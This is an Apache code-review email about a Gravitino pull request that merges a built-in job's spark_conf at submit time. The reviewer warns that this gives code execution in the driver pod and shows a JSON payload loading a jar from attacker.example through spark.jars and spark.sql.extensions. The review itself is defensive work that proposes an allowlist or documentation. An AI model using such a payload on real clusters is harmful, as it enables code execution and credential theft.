yuqi1129 commented on code in PR #13982:
URL: https://github.com/apache/gravitino/pull/13982#discussion_r4375022632
##########
plugins/k8s-job-executor/src/main/java/org/apache/gravitino/job/k8s/spark/SparkApplicationUtils.java:
##########
@@ -216,6 +260,112 @@ public static GenericKubernetesResource
buildSparkApplication(
return app;
}
+ /**
+ * Returns the Spark configurations that a job sets itself, which override
the default Spark
+ * configurations of the job executor.
+ *
+ * <p>They are the configurations of the job template, and for a built-in
job also those of its
+ * {@code spark_conf} parameter, which override them. The driver of a
built-in job applies its
+ * {@code spark_conf} only once it starts, too late for the configurations
that spark-submit
+ * reads, such as {@code spark.jars}, so they are set in the
SparkApplication as well. {@code
+ * spark.master} and {@code spark.submit.deployMode} there are ignored, as
the driver also ignores
+ * them, and so are the {@code spark.kubernetes.*} configurations, which
only the job executor
+ * configurations and job templates may set: whoever can run a built-in job
sets its {@code
+ * spark_conf}. A blank value leaves a configuration unset, as it is what an
optional template
+ * parameter becomes, so it doesn't override the default of the job executor.
+ */
+ private static Map<String, String> getJobSparkConf(
+ JobContext context, SparkJobTemplate template) {
+ Map<String, String> jobSparkConf = new TreeMap<>();
+ template
+ .configs()
+ .forEach(
+ (key, value) -> {
+ if (StringUtils.isNotBlank(value)) {
+ checkExecutorEnvironmentName(template, key);
+ jobSparkConf.put(key, value);
+ }
+ });
+ if (!template.name().startsWith(JobTemplateProvider.BUILTIN_NAME_PREFIX)) {
+ return jobSparkConf;
+ }
+
+ getBuiltinSparkConf(template)
Review Comment:
[Important] Applying the whole `spark_conf` at submit time gives anyone who
can run a built-in job code execution in the driver pod.
Before this change, `spark_conf` was applied only after the driver had
started. In cluster mode, a `spark.jars` set there never reached the driver
classloader. Now everything that isn't `spark.master`,
`spark.submit.deployMode` or `spark.kubernetes.*` goes into `spec.sparkConf`. A
user with only `RUN_JOB` and `USE_JOB_TEMPLATE` on a built-in template, without
`REGISTER_JOB_TEMPLATE` (docs/security/access-control.md:238-240, :333), can
submit:
```json
{"spark.jars":"https://attacker.example/x.jar","spark.sql.extensions":"x.Evil"}
```
`spark.plugins`, `spark.driver.userClassPathFirst` and
`spark.driver.extraJavaOptions` are other ways to do the same. Your manual
verification already shows this path works: with the Iceberg runtime supplied
through `spark_conf`'s `spark.jars`, the driver loads the class named in
`spark.sql.extensions` from that jar. With an attacker's jar, the code runs as
`spark.kubernetes.authenticate.driver.serviceAccountName`. That account can at
least create and delete pods in the namespace, and the pod also holds the job's
credentials.
The PR already filters `spark.kubernetes.*` on the grounds that "whoever can
run a built-in job sets its spark_conf" (also
optimizer-cli-reference.md:291-293), but the driver JVM is the same trust
boundary. #13703 proposed specific placeholders such as `{{spark_jars:-}}`
rather than the whole `spark_conf`. Could you pick one of these?
1. Restrict the submit-time merge to an allowlist: `spark.jars`,
`spark.jars.packages`, `spark.jars.repositories`, driver memory and cores, and
so on. Optionally let an admin extend the list through an executor config.
2. Keep the current behaviour, but document it in the security docs and in
the PR description. Something like: with the k8s job executor, granting
`RUN_JOB` + `USE_JOB_TEMPLATE` on a built-in template is equivalent to allowing
code execution as the driver service account.
Note that even with an allowlist, `spark.jars` combined with the template's
`spark.sql.extensions` still loads runner-supplied classes, so option 2's
documentation may be needed either way. I haven't run a malicious jar on a real
cluster. This is based on your manual result and Spark's class-loading
semantics.
##########
plugins/k8s-job-executor/src/main/java/org/apache/gravitino/job/k8s/spark/SparkApplicationUtils.java:
##########
@@ -216,6 +260,112 @@ public static GenericKubernetesResource
buildSparkApplication(
return app;
}
+ /**
+ * Returns the Spark configurations that a job sets itself, which override
the default Spark
+ * configurations of the job executor.
+ *
+ * <p>They are the configurations of the job template, and for a built-in
job also those of its
+ * {@code spark_conf} parameter, which override them. The driver of a
built-in job applies its
+ * {@code spark_conf} only once it starts, too late for the configurations
that spark-submit
+ * reads, such as {@code spark.jars}, so they are set in the
SparkApplication as well. {@code
+ * spark.master} and {@code spark.submit.deployMode} there are ignored, as
the driver also ignores
+ * them, and so are the {@code spark.kubernetes.*} configurations, which
only the job executor
+ * configurations and job templates may set: whoever can run a built-in job
sets its {@code
+ * spark_conf}. A blank value leaves a configuration unset, as it is what an
optional template
+ * parameter becomes, so it doesn't override the default of the job executor.
+ */
+ private static Map<String, String> getJobSparkConf(
+ JobContext context, SparkJobTemplate template) {
+ Map<String, String> jobSparkConf = new TreeMap<>();
+ template
+ .configs()
+ .forEach(
+ (key, value) -> {
+ if (StringUtils.isNotBlank(value)) {
+ checkExecutorEnvironmentName(template, key);
+ jobSparkConf.put(key, value);
+ }
+ });
+ if (!template.name().startsWith(JobTemplateProvider.BUILTIN_NAME_PREFIX)) {
+ return jobSparkConf;
+ }
+
+ getBuiltinSparkConf(template)
+ .forEach(
+ (key, value) -> {
+ if (StringUtils.isBlank(value)) {
+ return;
+ }
+ if (SUBMIT_DECIDED_CONFIGS.contains(key)) {
+ LOG.warn(
+ "Ignored {}={} in spark_conf of job {} of built-in job
template {}, as the"
+ + " Spark operator decides it",
+ key,
+ value,
+ context.jobId(),
+ template.name());
+ } else if (key.startsWith(SPARK_KUBERNETES_PREFIX)) {
+ // The value isn't logged, as it may name a Secret.
+ LOG.warn(
+ "Ignored {} in spark_conf of job {} of built-in job
template {}, as only the"
+ + " k8s job executor configurations and job templates
may set {}*",
+ key,
+ context.jobId(),
+ template.name(),
+ SPARK_KUBERNETES_PREFIX);
+ } else {
+ checkExecutorEnvironmentName(template, key);
Review Comment:
[Nit] `spark.executorEnv.X` in `spark_conf` only overrides the executors'
copy of a template environment. `template.environments()` (:160-166) writes
both `spark.kubernetes.driverEnv.X` and `spark.executorEnv.X`, but `spark_conf`
can only reach `executorEnv.X`, because `driverEnv` falls under the filtered
`spark.kubernetes.` prefix. The same variable then has the template value in
the driver and the `spark_conf` value in the executors. The precedence
documented in the PR description (environments < spark_conf) therefore holds
only for the executors. Could you either note this in the docs, or reject a
`spark.executorEnv.X` in `spark_conf` whose `X` is one of the template's
environments?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: [email protected]
For queries about this service, please contact Infrastructure at:
[email protected]
